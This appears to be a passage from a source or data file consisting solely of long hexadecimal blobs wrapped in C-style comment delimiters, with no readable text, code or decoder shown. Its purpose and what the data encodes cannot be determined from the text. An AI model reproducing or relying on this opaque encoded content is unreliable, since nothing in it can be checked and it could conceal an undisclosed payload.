0ae4b870954d5da6ad9526e6b83af59c093d41a2e3daecc4b4a025700a4f0a72899690e53f5003d5229e02b0829d339c28edf1a0f1667604b73053b091339eca48817160e7b26e2338546ea072ecba3250fa34c2c76b56c44dd79da6f2200c00f1957e772b455730c1112d6fbd993c9b81b6006e5595efe952355e2751f7eec86979c24b42d209a143ee5eeb45a7bd830ba6af7122d697eb3eaad1688b32d2ab5cd0d78f05274905fc572ec346e5b6834cee51ee7dc08f01e7b4db818839f72e6172af931466e0a0cdcd97d9743bcd4fb52b64211fc99df37f3b7f51f1296125a7e1c7914582effeaf22480c05b01f8e6572496db35a8394faf018c2be9cc22b6369214ac0c04af236ea8e1032fab842bca64103fb303ef1fae3ce90fe5deb2cb1f7b8b6359cab8747030a8066487395ae80a554c48c3c1e4f1f1a856d25581291f725e405c582503f93e88d641d87d5cc4e35b094534581ba85752abbc06c7c898e5fb7e0e8e9b3db594a95df4f6a25e5870ffe280be3d72ce84b561d88d43aa60d0b920776c33d6dd90c3b3f0eea5573ac3e5048d00487b892740c0c4d92c8aad0a662c3352ded46790e47716bcfdacbfe90ea5135d55935ad42430a0738447ff9b245e09a66bdc33891fae9f7451c46c48327a7d029bb7ff9d11fcd5af9282ecf2f661998aa1b965342440fba988241fd10043cb8c435373a796397814fa0ab6cefed42878ddb95454d2217ce99c33f4b1a759654a70937bf58d6e1f6b326fd6cfc5d9*/
/*ed61ac6026e26e6004f0cb84b5c25ab0730bbb85c3a4bdb87589d66703ab4d4e866d9cfe6369a8edf0c57dc849c37b509c92976c5a4d8d39f7ffc4147cadc3ac1482462cbd1730f5f05352f79bf7e25ab2e9d4d6da424e9184c0c7d5857d621f8d96067bb8e76f37f345a0578435a914242cf483fadb41434108f6bc7e95ad94197a16447732db5743428a072099b4b89356bd36f838775d398ad70ab0760715048c9491e98ae7154750220a97c2564c0fe338e522a126d8d88647ef761257e89d5daa978102f2c07d63028b27b4117f05d40f4cdd2827a867e901e3014618022ed6debac489ad0c961a907abab8955d1f7bc53e53383c1f7e60e1fd5c10a5650d52865e69d9b7c7a1067215f76d7d8fc47cdfe36bb516414ae7b4e6896105b39481648fb915b8df022e7e17a0d83b7aa6754a4a959f0754f1accf5d610c05ed449d12f0fe1d824bd587f820780ea4a0ececf8e5d02acd162468335be86c52cdc7bbdc7008256c8cdb60a796f60407e5617cc683422da9fc912a26538a4bd2fcf2997bb270ccaf9d8e056c3443407e175b2fbd0d693c6effc436aac50f7c1844812581905a8ebbd4f5415396866d4687cebb1bc353b9763ce0d1b367822ddec08c03be6873be808ee06ce107099a46717e677267e8207a3abfb4b2cff9fbb91de97cd65f42e4ccf6ffa58aa81843a77650ae0fdb5aa62c35216b05a3427fef7c026ff40238ce471bcd556d3da5c3edc5a9bcfb48269e41da2d4921fd1999bf870683898efa81217f04a8d589e7d9750885ff72f627cd2d8ffca9b46195402334eea1a37b502b159f54ba6c079b3516aa19760630790ad58e46483b55df34b337c005c695a02f3a667391eda857ef36842c7f38ee59f0307feb0fb9cd7352b0c4aa42313fd2d1a8ca1a1b50948e3d857b74f2f2cb7679ecfee1bd1644f8b71c3722ae143759608c4ffd24853be0ba11a6514630323056bb6fb561890f589251f1bcb2029d8dd4d623bab7011c05d0e8cdadaa5d97d3d9c47950dab6063f9fad34550d6a69320ce2f408623bb0075035358ec54bf3ac421ed161400ac277af708763ed785f11c1802995686cf230c5c4ee7eaf26fc9cfafb37b02c3cd0b8b72bb09da045df804184103a134874dbbcfd7282216ef1d04330c6459f84062e1d9c5a0657a73a8416e51975abdae98c7d7688278a77b4bab06acf6500f3ab38571f6867eda544f9595e3b7b456b6347b76bef4deec80b490dfaac616d1b940f5adecb71a9c9d66c08bdeb80b625fba7bdd7223020b88f0328b4276877b7b68cb236a1b7798151d0161fd86f1eee3eaf348b04bd5f981fe1a2514e5c4aa84eb3b2047a48c5d8785528c861991ff23b880a0a3ee8c13eaf02f1baa57aff3deac84f739c0a2e815819cfb24a9eaac9fe69969c993ecf7a4d8025df31d2a2d9bcd9832089c83f3e708ff711c9d4727c14908c40d251650f8d6c8e92bc14e3d037a7668870af9b2cb89690349e17d7dcd4acec7de880647af23a9b23650b3b75e59760498f6e3eb261980ac1a83073d2e9f15ca4956ff33f47329d9dcd55898442a2665a57ae40f89ad0fb742753cd3f9c1beccc8e072720d79b5a15a8959b2bf30d873d0b3698f5b2874f2e6b7f99424f8f250b8436a45788b30b95e4c9fe89bd09ec842771e23a9c0acacb09523f74aee50476fc786e3185793457e5f18ae145c0d11a95763382ec6d498b6cc3b6b5e6d2fc72964c9ac6eb231e195e4fdbc8a7664ec1543b59ed58bca1ff07848bb6174cbcc405f4363cdd315adcced5df3dc6ff2f384c3d23d016b4de13b30e75bc06be31b218fdb53d607b6366cc07128e1fa016aa7aa909f5e78c705a9f6c85f120b32366e8614dee4e04c580080ecba64eb139e4b9a2ef254a97f230a5d0b531d2c966dd6995bd94b88ef616632a7ab54d6552f389a91ec54b05f56e3f0a3bae4a618b953a2dabef87777a45d344566138904ceaca41f4173b667c69107bf40fd060f4898bb8c00e870ca11e878a385cf6598953b6bcf4c9c7c669f0b78f12c8505fb0f6c81932b48f1b96fb6fa10f24fe0484328693c31da87790dc4c3dc54879a4891d041d741be687236ef28fd671b8db6a529e4324dc262b7810d7890fe5d5fa72d7b8810e9075a2c027c78452ff1d36e05a4768f8fc97694d2232f00649c7f0a4018a5d37535e149c759b698f0a412c571000269d2f9a99228daf62976338a8efa2c66010d72a656455a9eb72f95e4801df495042d8c4989012e63126e26d419530a5a1a12325e0af70ebb40d03acf85bb6230c2cef6a4ea1e39b505f6470a9b5680c945376f0e04f8fed759b6d179d1118a007084737e0d6a164b8a59fd9bb80899b8eb1ac65d210d2bc743dc5737a82d8db54074b97eb3b5682da4372da622d032033b2d690fb739380b8f03e61535ed92f6a6acfd01cbb356e643fbda31ca84db775f07532b24d161d258c3bd5b73820707514f42f80070ae4461e1217a0c0cec1034dbabe7d8e4f4ef5fe0ac3f93c53b5d39d24615a06e12c670cb85d899f3cd6972015fce2ec5ab052ceefe2333d2fc6ecdcf3cab9b8b02f3b72b62e900b012c24528fc590746ed97c424f5e032f48fa976f06948b1dce2f194a8fd7fb83c620b15784af3306933ac98da9eae00930c1247b4718eab20ff9127555576a8341f6f234669925cc2a0c81c2e56a213dac7da4b6a42794c296c8214d518f771d842b2e51542589696cd9508bd1629dc7fe858baa30eadda29a853b0aa7e5fd019c63598555ad282e81516898cb61855583e4e3227c73afc97f5efa6b0b7d8465d947*/
/*9fcb41f85d167ab8d6088bb648e5ecdfa09d02762b91cc2451e55713c2961c587a3bc01c37c6739d369d5d02f3c66d085672f941f42be4979c6cb28dcefcc6d2ddfdd1274605379ae665fb65940a58f8d03e6b21b92926f59fa8d8bb5f1b8607aecb86ca0a2dceefaca8801711d3ec78450fe0090f1130ddc52a032d5df51daf73a680e66ac53334dce6ca5cb9f231850d31a34e7a033929a3249003e23d3a91c3de1d783adecad4897bc09a4a5aea991091c0a28435f4aa2ab9483da4197489fc40a6ec1caf23198d618e1a075c8e2e8ff6c048c1ee1da963854e8f20b3e23f2b445a305b8935c9d9cfefe34279b7ab2701c5db6f55170da5cb22e9f6e163b6905577ec0db0b5c6c075942031b16ce8a44596a4e0b5b898b946312e2ba2d2c2006e4454131b830c513cd675945ec829c79f56235af5b273b292fed7fc1b4f37adddee74eec6cb621be42ecd0791b9adafcbf18528f17f971c39ba8f90715b2b63cac7b340f2411bff9666d95aae11e55839d61bc3cf073c33be87c05888cf98893a57320dd9e67489a2f0d76810ed8d3fed69486065f64574cf9c754d6dc6f243d179ffae3151eb98dda5039ac952ceaf5ac67d99d1d4bd2163e6faf4d591db184b297c66f2d8c84a245e9b49cbc11f37eb565e978a67d5d73a8295bc73fb0a23ab67edd40edd2fef339776e81e451b5baf2297bea8b39143a785b301bc281e85b2a16509e73f83d74d77f3ade243f0686b7b4b15584ea47c5930e1ede72b0bf77871bb7fb042a3b1c2e4e45f7f03fc5271472a6f4a3ce042706c912b7aaa539c2bfe87c616b729ae35cc3683faa6dda0df7b576fdbd75208f69fcd9b40ffb62af28af00103c8b02572e2176965932657c03615ae00a3105103380c53f8f4e103afc3274b90fc1fd69ce4890be830bd92c3cfc78a86dea5b4a9df4959866ed940994977d6b51ac9496c50081baab75f74a4f8734e9e3915b880174127da28da3b82e8c67d182cf376b40ed8e5b93c8c3cf3832f441db8732e32a1b54c84054c98c2a15f6f3400818d0d5f6ca921f1da20d246bf93b973752f4328bb69c14de3ad7ef6695c8d3590d1fbeaf6c12ba5edc7ac75227386d9fa763d235fb56f7d18d1a6d01624bb54af509edcb725da3665fc34ef3a8e816e4161d1abbba0de4f82c9d74ef141b1ca10110b1257ed4383821015c412014c4d27091eb24e473a7040a6d4e5c27435161b267135a64cdc843e52395593612fa760921d0e84481388cc0455484b5222ef5d4622d59c987961bd09f1e1481bf7fdb789b059a00f126d9dabe31078138f70f8b83f43caa49f7a50a4b0081648799c5ae49bd9531d222ab5bf4e7ebdd853afa61346260f7f215f37bd6756c464b6afa9b5e3a39759de6eb43d7b61cbce4f590475270f4e938724645faaea54c1c3e2a4a79aa81ed440c8ed73272eeefd877d00afaddbf2dee6fbca826e0e4ae45eadd267fd5bda23255e5b79daad605fb69a1f44f9349273f844558094fb523ba6aab69dd36ffdc552e21c1b2bbd1c5b08c2c71cbc146fc28b6b09fd75e9da766cca418a33bbc2f7a5d816537f8b5109c812930902ae0b2d84c805a8ac25ab978e696a505e7978b6ce66439d9b6e1e7accc463992c1e0375a781e55c7c910f39973566a7926ccc910db8313444e40a53f2bd2e662f103fba8d2f9ab23e4f069652a1ad1f2b47efb1483331e44a00bf55e6fdaf0d90eaedef022c8121b40125db3806ff6d35c2eb9566013e3e536eab1b2d6a706058cc6f246d8d134035a83576643ccf5fb2c5620ca2e1f014d563f408fa602e3bc60a79bacf7796c4498e3b53c79abaeabd4158f26e42eab1bb704075ea0c201fdf862d464f2209f8e35bbbe4fb47ffa9f5758099c4041914325ebbda57553ff9c148cb95b18205c1b80e2c815bff9bcfa4e921c01914dce3aed26f724d1bb3732eee6418a09be2cb3dc08cb7a7b724cd2b37235b64f8e4e74e98f9420ed769de286b7908cb5d5a8ba8c938b26905bbd0e2376f9f644a9033ff64ee9da917fb74b81246ed6fc355abbc06109d39163fcc83041131730e9ac28dea0665bafdbc4287cb68512378a6bddc9ee06bd5e4be6ba86b38b8ec76d68264b984f932e37007e6bf12aaeca6e7ca1729409e0ef671a3a3e14df38bf775f8d9b07a23e2be9fd765cebb5a4b4b7d6f066a7809b3d7cb520366aaeaa4e1e774b443683334de30846db26d8c62fa9299bdc30529516572d3768d5cbdd37747c7660f028fa5329b51ec70f57142e2428dd4109f78c1a098f0af7e425c7a057c2a651644ba4e5652d6f67a171e7846792d33df8edf8cf48e00ea9a243da8ad62b680942eb73ee63d2bac369b85be451f8d7cda7612350a7c97c415ea35db3b705212f39f1b3871ee438f1191efb5b8ebd70968cc7a107d69e298bd6ac0622e671c9826b657c3885aa88b5f0133c32f815581f4ba84bc38ed165286a00f5a8d6fcf8f7a4d602b768ec06b10dd01a2df8e497bd2fc761d91eaf7300517432b7eca66546e70c346334ef6cb5d897efaa96ecc305b00c000147f64404d0d22ab825e8a2b7f44fb85ea0953978d26bcb37039eb912eaec6e624e44f3acc808ff19c84b5be5d5d988652da7e07f87d580691310efc3b7f7897126e35edf88ecd2b452df6d5e6971f18ee9a534c7c123190ce7335bc5913ff163b6c4e57e221bfb8e1a5c73353c9b39b4479282975181e3d5ea026d9057ee933d37ff5dfeffa360d2b3a69a5a42c92ff24449ba98e044ae5f8fc03ad9102c8a66acdee413bb5721ddbd82a20477f0c3e419924db6fe1ff014402*/
/*72a4d006274a9ebb3b6c89bf50e1b2577308c22f7ee8813dc4dba7604fe480e8e9b134a20db748de54d3fa90df644662f88a848de637537648c2b0f193bdf5fa6778d943ee2b3ee91f645ab84ae99e237396ca056f2233e8b111e59b798b9058f67d9e41b3b4e6b229f99981d8983c066cb18a783365d7de3a40b621b0d989e402f70a11a74ccb0356d8fa5809b6920b4bf60e6e12fb2e77f2e9a0d0f391b0f6f07dcd4215bbfe168024b241aa30b081c850f9db932638940fad21c71bf57c1822a5601ef77d86933c165001eebc81c11298835fcc4b3700fadc937afdea9d274fdc5eb318eea28eca83930d6b4c59d2a9edec2c64f734841ecaa1b0e67cc4e8a63a99a3c0fcd410f6e422f24ede015991ccf05d0a6bf897be4e33532f92a950b8744413b6a811bd8a172adf9bf2cb8d5aacce5d3f08aaf9c0b47a107bf7c08472dee8e2dd50d0775c0c020a32e5f1e7c3b4f6d722f6d01878cd1afb44c5d08b227fddce774ae4455a4ac31b1537712e9e9f31edb9198d91cae127f1d39ce74dedd6cc1e711961910320441dd4a1286cbcbd6187d852de61267e1297fa4056ea89f9546c0aa93aa368a7632fd86835067e69a13d3ac19f956090b3905915be39084458bdc326b958c963b114a5a5f6c91113d097a77d59cfb14daf955b2a87588da2aa33e1518f980e4b650592761a38af2c58bbdc2cecee5720afbd9d199fa270169df956c616e8a6d4e8d2871d2eaa9c277da85fc3b8fa19214027e751a6a6337da37d03c81aed740ff81f8eeee39b49ad07aaee5a5bdae054a779ae008b37c3501ba62d39e580fa434b2e64e1a2e3d94956c29de0fa80b26836e0f7cf0887c472ef3ffaba7245ce41951924d9651035496994adf3ed366f797f3846535b52176c2d6436fffbf7404a7367d5d7c116895df8523637ddbf79be3383b41a08f7411e588a653d88dbe217043d7867cf7abf9b03c4f5c5c6084734e5be26631521c1e9492617075ddfde5fe39cd51de7e8fcaef0d517ebfefc327dfa7b9e5be572bfde9469c971268ada9ec45c604529c484eddf400469e7071aadd6c9edb3ff66c73cb186d36cd81318cac65ca77800cbd3ca08c7be9c1fad593ef47d7b0acd1266fce5497cae900a00e4e80e84f0f32f1bde44fee28746d4ef6cd8d40a09c173c59639fb4ebebeff65f76eff05e1c0afeabdec8f8473b8ceea448faa9ec2a2b298f62bdb10ffb22065ed01c0e8b3df33d9a1ed65b3f6797038b11a32b38c72feed91ed20d78ca03f7f966b559b94dc49062b84fcf274bc1f3bc2f5fe9cc6e9a7039e1a008a8b1b46e511b0eb63eb6d6c047bce42da2b11a7e5c7cd0182de8b5f94db5390ea5b64f41fbc8ec1d3cefff2ca4cb47272d68e30e27a004c31c0725002ffdbca5f35ca42750ff1577ada6a61a3aab0575c0b200affaf40d909e497cbff78ba8def82467034b8240b3d7e5248cbdeda964c0e215bc696fb188e7dfd44e7574c3cd9d3ae0186df9deee0ceb9ec13600f0aa99fc30391893d3259747954f33cda4dcb722687b33d6a7e42afe8ced423680d58becc6aa57e0d578e9b5f7162d7e808ccf7f8937f07ea9c848a456e708c195bf5c73abf8bc0f913adbde930b06e580a5790cf8c6183b1c4c4cb1f0cdcb80388722576b77bdc308fd8ca9619262cbff6ab6e5e094901f0fb628b39d45418086f41d79b60277a18a2c44895c561044de6d1e94e4b284c175e9bef7e62c5dc0b85b685fe340caf69363ca18510ee9967c40316e1d36e9b9f9e9425ff62a762c9dd3a816b84e0e0004a1a1658c954d3ed2b3624b20a08cd72caf576a075082fa03f8fe6c92a14f5b9a2d2ac185f4343f5a34c286ebc732f23e2c535b8a730ad43bb7df2447f847a358f4f5e10999e00859b4188efcfd2e1b2718a672686956666c96b44b1117ac7984b8a2ecdb772dd8982216a1a3870f6386dca378f6e1a3c314ab0f54c91c36041381bf410221b1f24536c5c209d79091273e7ca7fa07e3ceb2bfff71907cc5da15e79efdcafc008eab92baca9d84490d916b695022e51d7f7cdd2deb6fc3740173f84ca4079b27a33fd5fe3da48a244706129555a9b52a9b28b1eb3b1eb456ca37cd049cfc6ac1cbcdac301e68f939059d6ee9fe506a22a78bb5d9e0011ed98f8035fe360986ee0135d519caffabd7c5e69fe6d95fd2dd7f09978a83a7f8e0d3a365e99ef1abc9755f295e9eb41a49324800b9164b61e2fb73f8660291b6ac83260b4aaf3b900f7b522cc52a34fcae52f5ef704c0c0115489457c09996cd233aed2a2b3ac89067a2f28eb19fbe2e227560da9c9cc671b0d66b21fb1ef907af260d62b1e6e3e869a48a1dcde898cf1d43b81bee2f16a634c016372e693ed646569a9cd03f62e3deabd8ff6fe4d3361d8f70b9cff0e16b483e33ef89c1ad50a5b20437a092754808318838a1b81aad5d5bec90a96ae37a48e8a1f65ee8ae7b412e66dfe57984f01be8a9de25525c290434b401975b987ab5d0d63ec866f50619a5fe89f2a68411d0e66633898cb6e73643c69cd9a21badb61e7bc47936bd400773fe25c96b6fc65d9525874066e50113c22520c1aefd1fdc31520fe619bbf5e171ddfca4134df03f948df987e845c675791cd91d7d1ea49f3ec7281666f734bd151af0c18dcfbd3dd8c235d498859b77de964b65c3d62d17fecceb0385e64dea8f654311a3a13057bda6c51e7a4cc0eae052522f136fc511bad27ff27d7568957eacf11363d2b1c35d728e66fc8fdfde85440ae673904dbafb177e8338898e8d58f6da1410fdc0135ff41070c32f39355203390e2ff2d*/
/*17d314e681a673bcef61d126ecba54e9fef9f0f39a33ac39014856c856013db525ca2b450af05996be26b0e936d911603bc99499444124e05aaee9cb095527f40050caedb69cbe309e85997075c6f1d7281213af3e10c255d1579b05e022f78325d7144a8a0a429e6782ff8388afbc5e6bb42627578c0c042b479cc5c80df863529a2cf616705657719b1a84348c74eb9bd4cfbaa2315e3dece16f331a5267a8289b9df99d5b60c62f09b1e02d9ebb6374eb60d1b1a43caad02e6dbd3f17208188a05c56ef89d2ddeced932428d14699206cdb01a82f2cbb0b72a842dd6d8797d7def256c708e3f64fa9d2f25d5a541428ab188ab47ef7415b613246a8171d93ea67cca9cb52ac2369d215bfeea587465e3b6f0f944eb2b166adfb58aa4771465f6bfef1a17fc3bc54c4c3c55259bd4130546f874cddadbce51487a9b307b6803030fac71c1035ff0312dd8c4291a6ac9641eeb97e2eceae93851662a2147cbcf33629b5e514be453a410b5c3b1cf0840dd590f66237c6bfe83d5d34455ea43ec6a3907448cd6d8ff86c65270cfc80c3c946a6b91738b4e9bb30ecde99ff0de247bf44e36367c41f650a5b12211e757b6fe8bed447786a6d1f1bf2a95e2598a294d5041ab23f83f8c9213cde0e01f9317921bb119ec52e24a008bc5707d20945d2e52fa216bb503dcf66380e6ab749a31b2ef08b09aa2c9586b11e805bc173661ec1546852cc0c465051dde77fec9ed4b41d91c2ff3ae8cbc51449d65259b492706fda9b23a9baa59cae78b71618c101c6c2b9aa9866f04e8e851d2b9a25c51600e0f42053d9efd0054f878303c9f8d18023148b630853e42c22972f64ad7d6313b8098922b8951d06e7352cbd0702f4b1954d2714d920732e1696bd475902fb0e80007bb8c5aaffd265e327f65ba3dd62f9125a958ebea7eabd6d3a20e09ec90d0c3d34d238e59d74fd21e8c56c8eb5cd56a1697499068393b36705226b999ef4fa9fa51a1026084731fce302bbb40ee02050596e19e80ceebaab5bd3bfffb4875a9ecff28444e6e3037bddd4069ca16ababbf095e98f9dc9aa6f2fc6736d16f326e26ef07c9905994fb0df231c81cf8df6e42d7310afe865f901680ffa1a074f13fda19b326e7653dcdc37cf30515db952fe7c94586d5cde214ca1a3bb055b25773cacc8862a2fbd2f3222b5fe9016a5bb02bcfd03ced623317d1e81864fdd59f9e91b7c37e19df39615bfe26b2f6a04c4534a563c46b8ed1f59f2ae3508dbc3935aea42e51af9001f6665c3ef159970e86d551142e7d4b1bac99d239400742828a55c528ee2416ed0f7c69ff6a544053695d6e63cc231a79807d27ca64b33383da352b10ce69e843f7971524d9961f904020b1c1a6af048d966176972188c9f78f3ebd689d312a12fc0fa7165ea69397619a84e601c25f37566d6392309e4d4ff10ebb33a9de43926ca49b7f54e08043d6bb110532130afab82c7e3260d8189a7d8493d04e6379581cf40e8df53c53a8347a96a1ef5473db0d62d365b5aa76a2ef8e87943a523b1fa771d3356e3a2271bf5e408290bc489a0ce2437ec6474fe38cbbb4740a98fadb85e96db22b3778f98c31b9ee46be94def12a9acaa53807b786bbca9d71b912967d4e968881fc4cdb5030a1a2b744b175b16b47e74fec2bff1f1a4be285520c1447806e0fc8f5cde50966045f9aaf8c251c7c05a700367a53057a8a43b49b24ee5434d4fc29c4db70f6368f93bdbb88847684f7bb53ec8b65d4f8b3db9454c2fb23875c331ab99e5d58fadc4289cc1063727a6858e7e17a887f7758f27f6fc46f9afd7a00fd277254050b2d295b46ba2fe1263fbefee4577c5e056253705b77df5808546bae7166f70e80231d3d3380a18cbd2f09632a0e3a34579f81055e33d4c0c4118ba655dd9bf93dacf8d2006fcfce9cda0fad464c6062ff4720db320dbc0ce46cb9d20180b81ae076e7d88da2e29f5db422fe16ba1daf56cfc4e64c6048fc1c76cd0e67173f6047cb0176d293a34906fec4251a164201d6d41a288ebefd4f437aeccdccb22014d1b12ad4b476919d877bfa98be6e4db43e54070eddaf395f18c8d2a5d651dff7e3f456616cff06a177e1f4718659bfa172540d383099dface9fb0676154a88e57c8c665b6a4a09777ff078b9b606ad8a92a2aa913c42a54c80d6cdcd911aaf92355ce3c556ab8cb3807023ef2a5b4d0add557afbca5d230d0bdc50c667daa76d0265a58fcd69da39708fc45b8a7799cba46107af41d4dec7b8dba13baae5a456628ece7df0566fa551b6c88358750b7ef031e7b30677464963a363e2b3bcf2fe330142b39ddee39acd0734ebe9de090890edd76a6b3b3ca1214703bb6c712d401a7c86e9726fd496989807ce6d2b2b110329358fe255c9b3eb7afdb99f42c0bbbcdc3ce1f9802220105fdcee81e4a2946c4740629b47f3bd782da1afd9326676ad9e0086418e631b0629d73dfcc3798dacc486b6ee10ab16d14c03bb94b666e906f67fcd27db14ea6488a68fe0a7a4767ff7aabfadef35ad10829688add532501d05ff54b661864b0e3167fc356f2731e007b957236525545688a5998727e78314b10c485ce2507cb0f8aa700d5affd457dd1e864e9ff2d2aabf936d1c1cbbef1b09dc3152541bd33688acbf4360e734a4d21ece03ce641fd5feac18822619b16653cbc8d420269d858024a1de682a809fdb03997c0e45bbacfa32bd8e6f66fb5aae4367ac559e6a113114dad05d92407623285937f28d0d9ac402164cb42fcddf4b7cd40395b1a51075e81f30fe33954f1091ef902400d7e2923db46e2*/
/*6865da1316fb6c038fb6069ede2f3b71449bb4785625a867fe05d15e906c60208481ed8b0e64fc16a06aa505024da1cd144c0adf8077ee247cc78b2c399446a1e2cb55727a7b90a320df9092a55f7dfdbe1e3c4a3f5a48a0d13130357dc5b0ae9322647a24acf68f193faf292fc29822cd8bc779757e3cc4364fd72eafb22096260e1e2f3f4c0edc5009a1155904abf179a3db84532ed1e4f788e69e8af5eda88646a2df8973f990983c882b3a9ecd96eccf44716ac622185034df0f3d3be07b90c6ddcb514c9d35659f9114b519fe427356898e4780e932ae29fe2d2efb6582d1ba336e4b7aa1ea17d18873134d1e70527baea64e7133cc445db39b5883a72878355fb49e539ebc764ff0f00b65cb24f23421d8b976d49348149536552be5eface4df5c942f9cbe68fa254fea9191cce25a260707296f73e50671532478ee027e970d87ebf4ba28bf570b972b97c6ccaeddfed11a31554995caa6aa2a8e54e55ccb8ddcd96de1a6841de817b32d6aab85ddbbdb54be7695363b8f5c5e58e4d366c517e75b12ede4dfd7eca476316fadea7c919dc66b46b8c4365ead2a32429aad071e7f08220b969db65348d749fe21fd6ac60a1cc435a08b670be81ac5ad66bd4ec7007d5547043aa576a2559b10fb9eeb35d7b8d9a04a5074a08d7e0246a2f83ad79b0249bc65096b6c9ec1d8fecf81e42db2e18486fad0156281265b05ab0c19e1f8ce765dcd3fc5abaec5c5ee9552dda1c6b142e189d5771252db9ca31807c0d27a0742c9207851a58ce966f89a4d781fa241fde67f0148d552314bf7bb955c1aceea26b2b344fe76c4f9a3e823b86dfa138d9ec3c523d1fd9f92410ac0be640c866a3d9415ef2c60b98d8d6d8169ad2b2d86634ef945008a07dcf8f24b7988930425fee5444b2b0e069a7c132aef2a41270d1324f90362ebf1ebb6275c1ac342ea8526e7bfedf14c1f4fc93f915f3bd548795955ca5f4f2362c4e6f15753c6f8a8c9ef57535482dfd38fdd2ab2a859af182512a0480d59d0506adb002660b2a2b634881bff5181e12a7b8c230cce729464b329caeae8e79cea382ddc26918c9160a5da6564497ff334bf1a3f25aa0d397667e8612679b0380bfb8e92203e1ec85e12ba0d4c9eb907e3bdee318aab73b1ce89dfc74c45f417570e2b982f1ee357443d9b6a3b2801b3e20aafaaf79c4ac6e0e4ec42635345bde9cfcb8168d13ad6dd61dafa5c854ebc764e55bafb070fb2d449f3d4b9b52bccd693c570e9203c6d1f6ec853a89cce6cbc8ceaaffdde6e32a499d1a899582497d7ef4cc84f54e527a2794f8a482ccb7dfb2fa94c6dda1e30ec7a4c7717514ca322633b0c2bc89873139e4cba679267dac5ef53da141c6a907df186cdbae00eb40ab60a2f1643578a7df813e29d522fdab586a079cea4cc2171788dda5142b2b0fd03a6dcbbe50b1f78d8b44a7db204ffe974edbd10b8dac44cb6afc85fa7a7c059c736f98f536762c898aa0382f5bd3e49e7ed769374514060ce416e73bf668a7d1ead2b42115e9f65652314fedf6182e363607d291fc47b846c7cf22686ee6acb615fa7c58bd067e797a80c6593cae4bd1ee8e1aabd43250ef0f61ec6bdfe5b8cd0e7acab1303add401f673bd245c4d1959ec8397c691c9c98f5edb5cf88ff2172f350b699f7809190f7bd182e7135fc8498aa75326a3c954ce196856bf10b29c0220a057daaae9f1304b15749aa301f6c34d08946654762a760beb9400e3716ba68f3ba28ecd68916503c503f51b6437b27c16618a340a5d4493baaaff5593abda30af1fcbbc0706709a815baf0809be4e16ead9a79c350ea501630e50f419f4611f317dcb2c49b158f947c28b132c3d382f9c7642e08ae375c288e56ae68f5bd21ae4afcfb4b0712b593e8bc217246ab8374faf004ffd909f0e620807ed8581e9acbc1b8992057d08b8d68f8e9639ea7440220402311e2075f5717c62f6d9c5e271b8ea4b080fe48dd0b34fc7a564fe422589e74fdb3fa087a99919999c953a0c37d031da1479a4c083c54321ae0a04e0dd4c0af8209f6a45540a7b36ada02358312c06c409f83f4f777a01fbfd45cefeda0b3a0d7798e49886fa500f96d65e16b7f7e2b462cf725bcfbaa169f2ca954e124d2f1ebf7e4a9885c2a9e25b35c7e4bb574f1b3c102cb11192f17d8988e2635e2ac41499c9738cf5bbffb3e34e9b8eae2de2aac0fc92848e6b2d2b88df2e9211382ca7f75a87c6bc31bdd87e2e018cd6e167e330075291bb5ab6a2cfa63a18d765dd7d17d99bed9a5fc1cd88f39135fe153074195a5eb8619b2c80e8209110449337f332a7704db9669ec60801a67e7e388c3c7eee7a906d569e12882e756829396c3925de19ed8be7c122bd91cf7659ec8b13cf510f565d094d7e8e8e839ea9ca09c82c4f5d8881484d68454759f577d511a8bef3917488e4626ef37b8713f4bba96d8ad86341c8b6be1f8d17773bbbbf792b0aa5a5c0fe7f8edf3a84c39786b8237b9dc62a4b21225da270b69dd2c0dc9060a7eb29a68fbd95818ce8a2c93b12240196050a5d8fc7207d8d4e66d038b6c7521892a1e639e41ccb21aad22f0a73a6d46668376c6ea3264be2bf30dff30c692002ca3c25654361578f077c9ea710faa7561cf8f4bf10695d8c0a89fda563065475b5059a9983dcb969d35fc1a09b79d25fd037e3920cc99ca57ef1cead98c251e5631bb1ae04d2ac0a20cdb69bd686d8cddebf5f57fa891e987bd550419bb21e212e51718c81179ad51e3d86dafdcf51a7c1cb7d71ea634744595f1d0d8089f6878bb8d92c1ca53a901656906ad503*/
/*17fdd198cca12c54021d4a8c011a89cd981264b18cc8006d05f9c9c33c300b44fc30f308040e0736c7f93bfaac26f3c0b69cac7a6c779e85b786a971a08e9ca986757ddb632359d921edd78c663ee22798e53ded6af09fe56853a830c178b8ec50dd71450b4b0b1ceb83cf15c43ba1127b5042ddd2f3ae6c3c777d969a03e129e497fa23dfe1aebdf1a0915dfdc5c8f98a292f73dcc8a51945a83fd2dac5bda9e88abc7c985894012ddf3806c887ebed7a0a37c2c24617ff3c2249460fd9cd70eb39485111eda6d9667970f1ebaa9e854f1a9109856ce1dacd171964189ba9f99e4e721ddbda26a9b9131b852756d47927e1c47a584cf93269d692bd816b37c1d9d76484a979e31389aea3e6d89e987e035fd4ab4ac9cbd62f24297eb964e1a614cb4975856bd529743d6fc076443ccf29db0eba91506204b053a09c22d1e82ba84d5179adbfe0d9a6de4549f6be3efdcb576bf176dbbd657fb4dbb259846d0d39e273ebcc5aa046fe2555193660b8bfedd5f52ed06a31b54a3f45f9de351a92f7426c516c716616077e807fc624c8ae045924ff459739541b5d228071f5f5e6e69ea52d5aaac96a6d7dd620f69a8989728ce3de86e7a813ca316d2148188bdbccc548bfe10bad52012a8a4b253ad7bd3dee8fcd1b657067e83a68b2c2bdab4b73e220a8300f8f602e4a4cee5ee03bebe3246898d74cca5247f24bd571980ad1feaba50afe8ea34170851b5de1e409ef511500c4cbed5d265fa2be858ddd1c686da63343bfb5e09a9a59e8b6d204c317d8bcecca8e2623deb9b8189be2174b7410702652a6dc55a33cc1b48c19314cefa248d6ad5fa8ff5c22349d8f2fd31e49b7a65528ee818e22a68b120e9ae29ba244e79eca3416eab8cfa498090ba0010847fcac5d9e6e70b1e21304aab9ae4320bea5821c419cba54d1bdd16b029c3bf91be0ec94d79638c57b2073a03853930c07ade942a46f59500c60ca526b5504475c990e15bc2eb9a1de92f0e48234ceb01cfd9a4464f81a59ee3d1d316e6def1136c7b1f50b6327e310200cf0e13c2813ef0129cc06a72f59cf6975b63575dbe418e7e9315fd524731dc0c01fa1324d68e1f4fd092cf500a6fa31f71bd2c816ca331e136782ce0a51ddafa819ef96bd974a106ee4bebefa273e1ca273f89acc2e60130f35ca3d896ce1f1b7946d68cf2e2860a29baf10efdf9b735df3cdd58e5e8cdbe20c0e779daf3e6665aa58d2986d25704145fd14aea4d5e42acfb488bc00248c3876370187532ccc44e3bca7820fa30007a402a256ccc3503b3aacc3ed051b2f683795f9fd08552